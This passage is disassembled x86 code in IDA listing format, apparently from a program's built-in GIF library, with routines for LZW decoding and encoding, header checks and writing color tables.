loc_41351B mov edi, [esi+14h] imul edi, 28h add edi, eax push 18h lea eax, [esi+18h] push eax push edi call sub_40CCF7 mov eax, [esi+2Ch] add esp, 0Ch cmp eax, ebx jz short loc_413600 push dword ptr [eax+8] push dword ptr [eax] call sub_41430E cmp eax, ebx pop ecx pop ecx mov [edi+14h], eax jz loc_41351B loc_413600: ; CODE XREF: sub_41344D+19Aj mov ecx, [ebp+var_8] mov [edi+18h], ebx mov [edi+20h], ebx mov [edi+24h], ebx mov eax, [esi+20h] imul eax, [esi+24h] inc dword ptr [esi+14h] mov [ecx+34h], eax mov eax, esi call sub_41323F xor eax, eax inc eax jmp loc_41346F ; --------------------------------------------------------------------------- loc_413628: ; CODE XREF: sub_41344D+161j push 28h call sub_40CC7F jmp short loc_4135BF sub_41344D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413631 proc near ; CODE XREF: sub_402C86+E7p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] mov eax, [esi+38h] test byte ptr [eax], 8 jnz short loc_41364E mov dword_421D3C, 6Fh loc_41364A: ; CODE XREF: sub_413631+39j xor eax, eax jmp short loc_413680 ; --------------------------------------------------------------------------- loc_41364E: ; CODE XREF: sub_413631+Dj push 1 lea ecx, [ebp+arg_0+3] push ecx push esi call dword ptr [eax+3Ch] add esp, 0Ch cmp eax, 1 jz short loc_41366C mov dword_421D3C, 66h jmp short loc_41364A ; --------------------------------------------------------------------------- loc_41366C: ; CODE XREF: sub_413631+2Dj movzx eax, byte ptr [ebp+arg_0+3] push [ebp+arg_8] mov ecx, [ebp+arg_4] push esi mov [ecx], eax call sub_4130C4 pop ecx pop ecx loc_413680: ; CODE XREF: sub_413631+1Bj pop esi pop ebp retn sub_413631 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413683 proc near ; CODE XREF: sub_413803+57p var_1 = byte ptr -1 arg_0 = dword ptr 8 push ebp mov ebp, esp push ecx push ebx mov ebx, eax push edi mov edi, [ebx+38h] mov eax, [edi+18h] cmp eax, 0Ch jle short loc_4136A4 mov dword_421D3C, 70h xor eax, eax jmp short loc_413718 ; --------------------------------------------------------------------------- loc_4136A4: ; CODE XREF: sub_413683+11j cmp [edi+2Ch], eax push esi jge short loc_4136D4 lea esi, [edi+44h] loc_4136AD: ; CODE XREF: sub_413683+4Fj lea eax, [ebp+var_1] push eax call sub_4132BF test eax, eax pop ecx jz short loc_41371C mov ecx, [edi+2Ch] movzx eax, [ebp+var_1] shl eax, cl add ecx, 8 mov [edi+2Ch], ecx or [edi+30h], eax mov eax, ecx cmp eax, [edi+18h] jl short loc_4136AD loc_4136D4: ; CODE XREF: sub_413683+25j mov eax, [edi+18h] movzx eax, word_421C80[eax*2] and eax, [edi+30h] mov ecx, [ebp+arg_0] mov [ecx], eax mov ecx, [edi+18h] mov eax, [edi+14h] shr dword ptr [edi+30h], cl sub [edi+2Ch], ecx cmp eax, 1001h jge short loc_413714 mov edx, [edi+1Ch] inc eax cmp eax, edx mov [edi+14h], eax jle short loc_413714 cmp ecx, 0Ch jge short loc_413714 lea eax, [edx+edx] inc ecx mov [edi+1Ch], eax mov [edi+18h], ecx loc_413714: ; CODE XREF: sub_413683+75j ; sub_413683+80j ... xor eax, eax inc eax loc_413717: ; CODE XREF: sub_413683+9Bj pop esi loc_413718: ; CODE XREF: sub_413683+1Fj pop edi pop ebx leave retn ; --------------------------------------------------------------------------- loc_41371C: ; CODE XREF: sub_413683+36j xor eax, eax jmp short loc_413717 sub_413683 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413720 proc near ; CODE XREF: sub_402C86+28p var_8 = byte ptr -8 var_2 = byte ptr -2 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push ebx push edi push 3Ch call sub_40CC7F mov edi, eax xor ebx, ebx cmp edi, ebx pop ecx jnz short loc_413748 mov dword_421D3C, 6Dh xor eax, eax jmp loc_4137FF ; --------------------------------------------------------------------------- loc_413748: ; CODE XREF: sub_413720+15j push esi push 3Ch push ebx push edi call sub_40CCD9 push 6148h call sub_40CC7F mov esi, eax add esp, 10h cmp esi, ebx jnz short loc_413777 push edi mov dword_421D3C, 6Dh call sub_40CCC5 jmp short loc_4137F1 ; --------------------------------------------------------------------------- loc_413777: ; CODE XREF: sub_413720+43j mov eax, [ebp+arg_4] mov [edi+38h], esi mov [esi+3Ch], eax mov eax, [ebp+arg_0] push 6 lea ecx, [ebp+var_8] mov [esi+4], ebx mov [esi+38h], ebx mov dword ptr [esi], 8 push ecx mov [edi+34h], eax mov eax, [edi+38h] push edi call dword ptr [eax+3Ch] add esp, 0Ch cmp eax, 6 jz short loc_4137B3 mov dword_421D3C, 66h jmp short loc_4137E4 ; --------------------------------------------------------------------------- loc_4137B3: ; CODE XREF: sub_413720+85j push 3 lea eax, [ebp+var_8] push eax push offset aGifver ; "GIFVER" mov [ebp+var_2], bl call sub_40CD53 add esp, 0Ch test eax, eax jz short loc_4137D9 mov dword_421D3C, 67h jmp short loc_4137E4 ; --------------------------------------------------------------------------- loc_4137D9: ; CODE XREF: sub_413720+ABj push edi call sub_413334 test eax, eax pop ecx jnz short loc_4137F6 loc_4137E4: ; CODE XREF: sub_413720+91j ; sub_413720+B7j push esi call sub_40CCC5 push edi call sub_40CCC5 pop ecx loc_4137F1: ; CODE XREF: sub_413720+55j pop ecx xor eax, eax jmp short loc_4137FE ; --------------------------------------------------------------------------- loc_4137F6: ; CODE XREF: sub_413720+C2j mov dword_421D3C, ebx mov eax, edi loc_4137FE: ; CODE XREF: sub_413720+D4j pop esi loc_4137FF: ; CODE XREF: sub_413720+23j pop edi pop ebx leave retn sub_413720 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413803 proc near ; CODE XREF: sub_4139FE+47p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov ecx, [ebp+arg_0] push ebx push esi mov esi, [ecx+38h] mov ecx, [esi+10h] mov ebx, [esi+28h] push edi mov edi, [esi+20h] mov [ebp+var_18], ecx mov ecx, [esi+0Ch] xor eax, eax mov [ebp+var_8], ecx mov [ebp+var_C], edi jmp short loc_413843 ; --------------------------------------------------------------------------- loc_41382B: ; CODE XREF: sub_413803+45j cmp eax, [ebp+arg_8] jge loc_4139D4 mov cl, [esi+ebx+143h] mov edx, [ebp+arg_4] dec ebx mov [eax+edx], cl inc eax loc_413843: ; CODE XREF: sub_413803+26j test ebx, ebx mov [ebp+var_4], eax jnz short loc_41382B cmp eax, [ebp+arg_8] jge loc_4139D4 loc_413853: ; CODE XREF: sub_413803+1CBj lea eax, [ebp+var_14] push eax mov eax, [ebp+arg_0] call sub_413683 test eax, eax pop ecx jz loc_4139E2 mov eax, [ebp+var_14] cmp eax, [ebp+var_18] jnz short loc_41388F mov eax, [ebp+arg_8] dec eax cmp [ebp+var_4], eax jnz loc_4139E6 cmp dword ptr [esi+34h], 0 jnz loc_4139E6 inc [ebp+var_4] jmp loc_4139C8 ; --------------------------------------------------------------------------- loc_41388F: ; CODE XREF: sub_413803+6Bj cmp eax, [ebp+var_8] jnz short loc_4138C4 mov eax, 1002h mov ecx, 1000h lea edi, [esi+2144h] rep stosd mov ecx, [esi+10h] inc ecx mov [esi+14h], ecx mov ecx, [esi+8] xor edx, edx inc ecx inc edx shl edx, cl mov [esi+18h], ecx mov [esi+20h], eax mov [esi+1Ch], edx jmp loc_4139C3 ; --------------------------------------------------------------------------- loc_4138C4: ; CODE XREF: sub_413803+8Fj jge short loc_4138D7 mov edx, [ebp+var_4] mov ecx, [ebp+arg_4] inc [ebp+var_4] mov [edx+ecx], al jmp loc_41398C ; --------------------------------------------------------------------------- loc_4138D7: ; CODE XREF: sub_413803:loc_4138C4j lea ecx, [esi+2144h] cmp dword ptr [ecx+eax*4], 1002h jnz short loc_413919 mov edx, [esi+14h] dec edx dec edx cmp eax, edx jnz loc_4139F2 push [ebp+var_8] mov eax, edi push ecx mov [ebp+var_10], edi call sub_4132A2 pop ecx mov [esi+ebx+144h], al pop ecx mov ecx, [esi+14h] mov [esi+ecx+1141h], al inc ebx mov ecx, edi jmp short loc_41391B ; --------------------------------------------------------------------------- loc_413919: ; CODE XREF: sub_413803+E1j mov ecx, eax loc_41391B: ; CODE XREF: sub_413803+114j xor eax, eax loc_41391D: ; CODE XREF: sub_413803+146j inc eax cmp ecx, [ebp+var_8] mov edi, 0FFFh jle short loc_41394C cmp ecx, edi jg short loc_41394C mov dl, [ecx+esi+1143h] mov [esi+ebx+144h], dl lea edx, [esi+2144h] mov ecx, [edx+ecx*4] inc ebx cmp eax, edi mov [ebp+var_10], ecx jle short loc_41391D inc eax loc_41394C: ; CODE XREF: sub_413803+123j ; sub_413803+127j cmp eax, edi jge loc_4139F2 cmp ecx, edi jg loc_4139F2 inc ebx mov [esi+ebx+143h], cl jz short loc_413986 loc_413966: ; CODE XREF: sub_413803+181j mov eax, [ebp+arg_8] cmp [ebp+var_4], eax jge short loc_413986 mov edx, [ebp+var_4] mov al, [esi+ebx+143h] mov ecx, [ebp+arg_4] dec ebx inc [ebp+var_4] test ebx, ebx mov [edx+ecx], al jnz short loc_413966 loc_413986: ; CODE XREF: sub_413803+161j ; sub_413803+169j mov edi, [ebp+var_C] mov eax, [ebp+var_14] loc_41398C: ; CODE XREF: sub_413803+CFj cmp edi, 1002h jz short loc_4139C0 mov edx, [esi+14h] push [ebp+var_8] lea ecx, [esi+2144h] mov [ecx+edx*4-8], edi mov edi, [esi+14h] lea edx, [edi-2] cmp eax, edx push ecx jnz short loc_4139B2 mov eax, [ebp+var_C] loc_4139B2: ; CODE XREF: sub_413803+1AAj call sub_4132A2 pop ecx mov [edi+esi+1141h], al pop ecx loc_4139C0: ; CODE XREF: sub_413803+18Fj mov eax, [ebp+var_14] loc_4139C3: ; CODE XREF: sub_413803+BCj mov edi, eax mov [ebp+var_C], eax loc_4139C8: ; CODE XREF: sub_413803+87j mov eax, [ebp+arg_8] cmp [ebp+var_4], eax jl loc_413853 loc_4139D4: ; CODE XREF: sub_413803+2Bj ; sub_413803+4Aj xor eax, eax mov [esi+20h], edi mov [esi+28h], ebx inc eax loc_4139DD: ; CODE XREF: sub_413803+1E1j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_4139E2: ; CODE XREF: sub_413803+5Fj ; sub_413803+1EDj ... xor eax, eax jmp short loc_4139DD ; --------------------------------------------------------------------------- loc_4139E6: ; CODE XREF: sub_413803+74j ; sub_413803+7Ej mov dword_421D3C, 71h jmp short loc_4139E2 ; --------------------------------------------------------------------------- loc_4139F2: ; CODE XREF: sub_413803+EAj ; sub_413803+14Bj ... mov dword_421D3C, 70h jmp short loc_4139E2 sub_413803 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4139FE proc near ; CODE XREF: sub_402C86+98p arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push esi push edi mov edi, [ebp+arg_0] mov esi, [edi+38h] test byte ptr [esi], 8 jnz short loc_413A1E mov dword_421D3C, 6Fh loc_413A18: ; CODE XREF: sub_4139FE+40j ; sub_4139FE+52j ... xor eax, eax loc_413A1A: ; CODE XREF: sub_4139FE+73j pop edi pop esi pop ebp retn ; --------------------------------------------------------------------------- loc_413A1E: ; CODE XREF: sub_4139FE+Ej mov eax, [ebp+arg_8] test eax, eax jnz short loc_413A28 mov eax, [edi+20h] loc_413A28: ; CODE XREF: sub_4139FE+25j sub [esi+34h], eax cmp dword ptr [esi+34h], 0FFFF0000h jbe short loc_413A40 mov dword_421D3C, 6Ch jmp short loc_413A18 ; --------------------------------------------------------------------------- loc_413A40: ; CODE XREF: sub_4139FE+34j push eax push [ebp+arg_4] push edi call sub_413803 add esp, 0Ch cmp eax, 1 jnz short loc_413A18 cmp dword ptr [esi+34h], 0 jnz short loc_413A6E loc_413A58: ; CODE XREF: sub_4139FE+6Ej lea eax, [ebp+arg_0] push eax push edi call sub_4131D5 test eax, eax pop ecx pop ecx jz short loc_413A18 cmp [ebp+arg_0], 0 jnz short loc_413A58 loc_413A6E: ; CODE XREF: sub_4139FE+58j xor eax, eax inc eax jmp short loc_413A1A sub_4139FE endp ; =============== S U B R O U T I N E ======================================= sub_413A73 proc near ; CODE XREF: sub_402DEC+1Bp arg_0 = dword ptr 4 arg_4 = dword ptr 8 push edi push 3Ch call sub_40CC7F mov edi, eax test edi, edi pop ecx jnz short loc_413A8E mov dword_421D3C, 7 pop edi retn ; --------------------------------------------------------------------------- loc_413A8E: ; CODE XREF: sub_413A73+Dj push esi push 3Ch push 0 push edi call sub_40CCD9 push 6148h call sub_40CC7F mov esi, eax add esp, 10h test esi, esi jnz short loc_413AB4 push edi call sub_40CCC5 jmp short loc_413AD0 ; --------------------------------------------------------------------------- loc_413AB4: ; CODE XREF: sub_413A73+37j call sub_414258 test eax, eax mov [esi+6144h], eax jnz short loc_413ADF push edi call sub_40CCC5 push esi call sub_40CCC5 pop ecx loc_413AD0: ; CODE XREF: sub_413A73+3Fj pop ecx mov dword_421D3C, 7 xor eax, eax jmp short loc_413B07 ; --------------------------------------------------------------------------- loc_413ADF: ; CODE XREF: sub_413A73+4Ej mov eax, [esp+8+arg_4] mov [edi+38h], esi and dword ptr [esi+4], 0 and dword ptr [esi+38h], 0 mov [esi+40h], eax mov eax, [esp+8+arg_0] mov dword ptr [esi], 1 mov [edi+34h], eax and dword_421D3C, 0 mov eax, edi loc_413B07: ; CODE XREF: sub_413A73+6Aj pop esi pop edi retn sub_413A73 endp ; =============== S U B R O U T I N E ======================================= sub_413B0A proc near ; CODE XREF: sub_402DEC+Ep arg_0 = dword ptr 4 push 3 push [esp+4+arg_0] push offset byte_421CAB call sub_40CD9D add esp, 0Ch retn sub_413B0A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B1E proc near ; CODE XREF: sub_402DEC+85p arg_0 = dword ptr 8 push ebp mov ebp, esp push esi mov esi, [ebp+arg_0] test esi, esi jnz short loc_413B2D xor eax, eax jmp short loc_413B9C ; --------------------------------------------------------------------------- loc_413B2D: ; CODE XREF: sub_413B1E+9j push edi mov edi, [esi+38h] test byte ptr [edi], 1 jnz short loc_413B44 mov dword_421D3C, 0Ah xor eax, eax jmp short loc_413B9B ; --------------------------------------------------------------------------- loc_413B44: ; CODE XREF: sub_413B1E+16j push 1 lea eax, [ebp+arg_0+3] push eax push esi mov byte ptr [ebp+arg_0+3], 3Bh call dword ptr [edi+40h] mov eax, [esi+2Ch] add esp, 0Ch test eax, eax jz short loc_413B67 push eax call sub_414373 and dword ptr [esi+2Ch], 0 pop ecx loc_413B67: ; CODE XREF: sub_413B1E+3Cj mov eax, [esi+10h] test eax, eax jz short loc_413B79 push eax call sub_414373 and dword ptr [esi+10h], 0 pop ecx loc_413B79: ; CODE XREF: sub_413B1E+4Ej mov eax, [edi+6144h] test eax, eax jz short loc_413B8A push eax call sub_40CCC5 pop ecx loc_413B8A: ; CODE XREF: sub_413B1E+63j push edi call sub_40CCC5 push esi call sub_40CCC5 pop ecx xor eax, eax pop ecx inc eax loc_413B9B: ; CODE XREF: sub_413B1E+24j pop edi loc_413B9C: ; CODE XREF: sub_413B1E+Dj pop esi pop ebp retn sub_413B1E endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413B9F proc near ; CODE XREF: sub_413C3B+A5p ; sub_413C3B+AFp ... var_4 = byte ptr -4 var_3 = byte ptr -3 push ebp mov ebp, esp push ecx mov [ebp+var_4], al sar eax, 8 push 2 lea edx, [ebp+var_4] push edx mov [ebp+var_3], al mov eax, [ecx+38h] push ecx call dword ptr [eax+40h] add esp, 0Ch dec eax dec eax neg eax sbb eax, eax inc eax leave retn sub_413B9F endp ; =============== S U B R O U T I N E ======================================= sub_413BC5 proc near ; CODE XREF: sub_413D8F+2Ep ; sub_413D8F+55p ... cmp ebx, 1000h jnz short loc_413C0F mov al, [esi] test al, al jz short loc_413BF8 mov ecx, [edi+38h] movzx eax, al inc eax push eax push esi push edi call dword ptr [ecx+40h] movzx ecx, byte ptr [esi] add esp, 0Ch inc ecx cmp eax, ecx jz short loc_413BF8 loc_413BEB: ; CODE XREF: sub_413BC5+48j ; sub_413BC5+65j mov dword_421D3C, 2 xor eax, eax retn ; --------------------------------------------------------------------------- loc_413BF8: ; CODE XREF: sub_413BC5+Cj ; sub_413BC5+24j push 1 mov byte ptr [esi], 0 mov eax, [edi+38h] push esi push edi call dword ptr [eax+40h] add esp, 0Ch cmp eax, 1 jz short loc_413C37 jmp short loc_413BEB ; --------------------------------------------------------------------------- loc_413C0F: ; CODE XREF: sub_413BC5+6j cmp byte ptr [esi], 0FFh jnz short loc_413C2F mov eax, [edi+38h] push 100h push esi push edi call dword ptr [eax+40h] movzx ecx, byte ptr [esi] add esp, 0Ch inc ecx cmp eax, ecx jnz short loc_413BEB mov byte ptr [esi], 0 loc_413C2F: ; CODE XREF: sub_413BC5+4Dj inc byte ptr [esi] movzx eax, byte ptr [esi] mov [eax+esi], bl loc_413C37: ; CODE XREF: sub_413BC5+46j xor eax, eax inc eax retn sub_413BC5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413C3B proc near ; CODE XREF: sub_402DEC+45p var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push ecx push ecx push ebx push esi mov esi, [ebp+arg_0] mov ebx, [esi+38h] mov eax, [ebx] test al, 2 mov [ebp+var_8], ebx jz short loc_413C62 mov dword_421D3C, 3 loc_413C5B: ; CODE XREF: sub_413C3B+35j xor eax, eax jmp loc_413D7D ; --------------------------------------------------------------------------- loc_413C62: ; CODE XREF: sub_413C3B+14j test al, 1 jnz short loc_413C72 mov dword_421D3C, 0Ah jmp short loc_413C5B ; --------------------------------------------------------------------------- loc_413C72: ; CODE XREF: sub_413C3B+29j push edi mov edi, offset byte_421CA8 push edi call sub_40CD83 push eax push edi push esi call dword ptr [ebx+40h] push edi mov ebx, eax call sub_40CD83 add esp, 14h cmp ebx, eax jnz loc_413D81 mov eax, [ebp+arg_4] mov edi, [ebp+arg_14] test edi, edi mov ebx, [ebp+arg_C] mov [esi], eax mov eax, [ebp+arg_8] mov [esi+4], eax mov eax, [ebp+arg_10] mov [esi+8], ebx mov [esi+0Ch], eax jz short loc_413CD7 push dword ptr [edi+8] push dword ptr [edi] call sub_41430E test eax, eax pop ecx pop ecx mov [esi+10h], eax jnz short loc_413CDB mov dword_421D3C, 7 jmp loc_413D8B ; --------------------------------------------------------------------------- loc_413CD7: ; CODE XREF: sub_413C3B+78j and dword ptr [esi+10h], 0 loc_413CDB: ; CODE XREF: sub_413C3B+8Bj mov eax, [ebp+arg_4] mov ecx, esi call sub_413B9F mov eax, [ebp+arg_8] mov ecx, esi call sub_413B9F test edi, edi jz short loc_413CF9 mov eax, [edi+4] dec eax jmp short loc_413CFC ; --------------------------------------------------------------------------- loc_413CF9: ; CODE XREF: sub_413C3B+B6j push 7 pop eax loc_413CFC: ; CODE XREF: sub_413C3B+BCj dec bl shl bl, 4 test edi, edi setz cl dec cl push 3 mov byte ptr [ebp+arg_0+2], 0 and ecx, 80h or bl, cl or bl, al mov al, byte ptr [ebp+arg_10] lea ecx, [ebp+arg_0] push ecx mov byte ptr [ebp+arg_0+1], al mov eax, [esi+38h] push esi mov byte ptr [ebp+arg_0], bl call dword ptr [eax+40h] xor ebx, ebx add esp, 0Ch cmp edi, ebx jz short loc_413D73 cmp [edi], ebx mov [ebp+var_4], ebx jle short loc_413D73 loc_413D3C: ; CODE XREF: sub_413C3B+136j mov eax, [edi+8] add eax, ebx mov cl, [eax] mov byte ptr [ebp+arg_0], cl mov cl, [eax+1] mov byte ptr [ebp+arg_0+1], cl mov al, [eax+2] push 3 lea ecx, [ebp+arg_0] push ecx mov byte ptr [ebp+arg_0+2], al mov eax, [esi+38h] push esi call dword ptr [eax+40h] add esp, 0Ch cmp eax, 3 jnz short loc_413D81 inc [ebp+var_4] add ebx, eax mov eax, [ebp+var_4] cmp eax, [edi] jl short loc_413D3C loc_413D73: ; CODE XREF: sub_413C3B+F8j ; sub_413C3B+FFj mov eax, [ebp+var_8] or dword ptr [eax], 2 xor eax, eax inc eax loc_413D7C: ; CODE XREF: sub_413C3B+152j pop edi loc_413D7D: ; CODE XREF: sub_413C3B+22j pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413D81: ; CODE XREF: sub_413C3B+56j ; sub_413C3B+12Aj mov dword_421D3C, 2 loc_413D8B: ; CODE XREF: sub_413C3B+97j xor eax, eax jmp short loc_413D7C sub_413C3B endp ; =============== S U B R O U T I N E ======================================= sub_413D8F proc near ; CODE XREF: sub_413E5D+75p ; sub_413EFF+4Ap ... var_4 = dword ptr -4 arg_0 = dword ptr 4 push ecx cmp [esp+4+arg_0], 1000h push ebx push ebp push esi push edi mov edi, eax mov ebp, [edi+38h] mov [esp+14h+var_4], 1 jnz short loc_413DF3 cmp dword ptr [ebp+2Ch], 0 jle short loc_413DD8 lea esi, [ebp+44h] loc_413DB4: ; CODE XREF: sub_413D8F+47j mov ebx, [ebp+30h] and ebx, 0FFh call sub_413BC5 test eax, eax jnz short loc_413DCA and [esp+14h+var_4], eax loc_413DCA: ; CODE XREF: sub_413D8F+35j shr dword ptr [ebp+30h], 8 add dword ptr [ebp+2Ch], 0FFFFFFF8h cmp dword ptr [ebp+2Ch], 0 jg short loc_413DB4 loc_413DD8: ; CODE XREF: sub_413D8F+20j and dword ptr [ebp+2Ch], 0 lea esi, [ebp+44h] mov ebx, 1000h call sub_413BC5 test eax, eax jnz short loc_413E33 and [esp+14h+var_4], eax jmp short loc_413E33 ; --------------------------------------------------------------------------- loc_413DF3: ; CODE XREF: sub_413D8F+1Aj mov ecx, [ebp+2Ch] mov eax, [esp+14h+arg_0] shl eax, cl or [ebp+30h], eax mov eax, [ebp+18h] add eax, ecx cmp eax, 8 mov [ebp+2Ch], eax jl short loc_413E33 lea esi, [ebp+44h] loc_413E0F: ; CODE XREF: sub_413D8F+A2j mov ebx, [ebp+30h] and ebx, 0FFh call sub_413BC5 test eax, eax jnz short loc_413E25 and [esp+14h+var_4], eax loc_413E25: ; CODE XREF: sub_413D8F+90j shr dword ptr [ebp+30h], 8 add dword ptr [ebp+2Ch], 0FFFFFFF8h cmp dword ptr [ebp+2Ch], 8 jge short loc_413E0F loc_413E33: ; CODE XREF: sub_413D8F+5Cj ; sub_413D8F+62j ... mov eax, [ebp+14h] cmp eax, [ebp+1Ch] jl short loc_413E53 cmp [esp+14h+arg_0], 0FFFh jg short loc_413E53 inc dword ptr [ebp+18h] mov ecx, [ebp+18h] xor eax, eax inc eax shl eax, cl mov [ebp+1Ch], eax loc_413E53: ; CODE XREF: sub_413D8F+AAj ; sub_413D8F+B4j mov eax, [esp+14h+var_4] pop edi pop esi pop ebp pop ebx pop ecx retn sub_413D8F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413E5D proc near ; CODE XREF: sub_41403A+184p var_1 = byte ptr -1 push ebp mov ebp, esp push ecx mov eax, [edi+2Ch] test eax, eax push ebx push esi mov esi, [edi+38h] jnz short loc_413E74 mov eax, [edi+10h] test eax, eax jz short loc_413EEF loc_413E74: ; CODE XREF: sub_413E5D+Ej mov ebx, [eax+4] cmp ebx, 2 jge short loc_413E7F push 2 pop ebx loc_413E7F: ; CODE XREF: sub_413E5D+1Dj push 1 lea eax, [ebp+var_1] push eax push edi mov [ebp+var_1], bl call dword ptr [esi+40h] push dword ptr [esi+6144h] xor eax, eax and dword ptr [esi+2Ch], 0 and dword ptr [esi+30h], 0 inc eax mov ecx, ebx shl eax, cl lea ecx, [ebx+1] mov byte ptr [esi+44h], 0 mov [esi+8], ebx mov [esi+0Ch], eax inc eax mov [esi+10h], eax inc eax mov [esi+14h], eax xor eax, eax inc eax shl eax, cl mov [esi+18h], ecx mov dword ptr [esi+24h], 1001h mov [esi+1Ch], eax call sub_414241 push dword ptr [esi+0Ch] mov eax, edi call sub_413D8F add esp, 14h test eax, eax jnz short loc_413EEA mov dword_421D3C, 8 jmp short loc_413EF9 ; --------------------------------------------------------------------------- loc_413EEA: ; CODE XREF: sub_413E5D+7Fj xor eax, eax inc eax jmp short loc_413EFB ; --------------------------------------------------------------------------- loc_413EEF: ; CODE XREF: sub_413E5D+15j mov dword_421D3C, 5 loc_413EF9: ; CODE XREF: sub_413E5D+8Bj xor eax, eax loc_413EFB: ; CODE XREF: sub_413E5D+90j pop esi pop ebx leave retn sub_413E5D endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_413EFF proc near ; CODE XREF: sub_4141CB+5Dp var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_0] push ebx push esi mov esi, [eax+38h] mov eax, [esi+6144h] mov [ebp+var_C], eax mov eax, [esi+24h] xor ecx, ecx cmp eax, 1001h push edi jnz short loc_413F35 mov eax, [ebp+arg_4] movzx ebx, byte ptr [eax] mov [ebp+var_8], 1 mov ecx, [ebp+var_8] jmp short loc_413F37 ; --------------------------------------------------------------------------- loc_413F35: ; CODE XREF: sub_413EFF+22j mov ebx, eax loc_413F37: ; CODE XREF: sub_413EFF+34j cmp ecx, [ebp+arg_8] jl short loc_413F8C loc_413F3C: ; CODE XREF: sub_413EFF+125j cmp dword ptr [esi+34h], 0 mov [esi+24h], ebx jnz short loc_413F81 mov eax, [ebp+arg_0] push ebx call sub_413D8F test eax, eax pop ecx jz loc_414029 push dword ptr [esi+10h] mov eax, [ebp+arg_0] call sub_413D8F test eax, eax pop ecx jz loc_414029 mov eax, [ebp+arg_0] push 1000h call sub_413D8F test eax, eax pop ecx jz loc_414029 loc_413F81: ; CODE XREF: sub_413EFF+44j xor eax, eax inc eax loc_413F84: ; CODE XREF: sub_413EFF+136j pop edi pop esi pop ebx leave retn ; --------------------------------------------------------------------------- loc_413F89: ; CODE XREF: sub_413EFF+11Fj mov ecx, [ebp+var_8] loc_413F8C: ; CODE XREF: sub_413EFF+3Bj mov eax, [ebp+arg_4] mov al, [ecx+eax] mov [ebp+var_1], al movzx eax, al mov edi, ebx shl edi, 8 add edi, eax push edi push [ebp+var_C] inc ecx mov [ebp+var_8], ecx call sub_4142B7 test eax, eax pop ecx pop ecx jl short loc_413FB6 mov ebx, eax jmp short loc_414018 ; --------------------------------------------------------------------------- loc_413FB6: ; CODE XREF: sub_413EFF+B1j mov eax, [ebp+arg_0] push ebx call sub_413D8F test eax, eax pop ecx jz short loc_414029 mov eax, [esi+14h] cmp eax, 0FFFh movzx ebx, [ebp+var_1] jl short loc_414005 push dword ptr [esi+0Ch] mov eax, [ebp+arg_0] call sub_413D8F test eax, eax pop ecx jz short loc_414029 mov eax, [esi+10h] push [ebp+var_C] inc eax mov [esi+14h], eax mov eax, [esi+8] lea ecx, [eax+1] xor eax, eax inc eax shl eax, cl mov [esi+18h], ecx mov [esi+1Ch], eax call sub_414241 pop ecx jmp short loc_414018 ; --------------------------------------------------------------------------- loc_414005: ; CODE XREF: sub_413EFF+D1j push eax push edi push [ebp+var_C] lea ecx, [eax+1] mov [esi+14h], ecx call sub_414277 add esp, 0Ch loc_414018: ; CODE XREF: sub_413EFF+B5j ; sub_413EFF+104j mov eax, [ebp+arg_8] cmp [ebp+var_8], eax jl loc_413F89 jmp loc_413F3C ; --------------------------------------------------------------------------- loc_414029: ; CODE XREF: sub_413EFF+52j ; sub_413EFF+66j ... mov dword_421D3C, 8 xor eax, eax jmp loc_413F84 sub_413EFF endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41403A proc near ; CODE XREF: sub_402DEC+61p var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h push ebp mov ebp, esp sub esp, 0Ch push edi mov edi, [ebp+arg_0] mov eax, [edi+38h] mov ecx, [eax] test cl, 4 mov [ebp+var_C], eax jz short loc_41406B cmp dword ptr [eax+34h], 0FFFF0000h jbe short loc_41406B mov dword_421D3C, 4 loc_414064: ; CODE XREF: sub_41403A+40j xor eax, eax jmp loc_4141C8 ; --------------------------------------------------------------------------- loc_41406B: ; CODE XREF: sub_41403A+15j ; sub_41403A+1Ej test cl, 1 jnz short loc_41407C mov dword_421D3C, 0Ah jmp short loc_414064 ; --------------------------------------------------------------------------- loc_41407C: ; CODE XREF: sub_41403A+34j mov eax, [ebp+arg_4] mov [edi+18h], eax mov eax, [ebp+arg_8] push ebx mov ebx, [ebp+arg_C] mov [edi+1Ch], eax mov eax, [ebp+arg_10] push esi mov esi, [ebp+arg_18] test esi, esi mov [edi+24h], eax mov eax, [ebp+arg_14] mov [edi+20h], ebx mov [edi+28h], eax jz short loc_4140C5 push dword ptr [esi+8] push dword ptr [esi] call sub_41430E test eax, eax pop ecx pop ecx mov 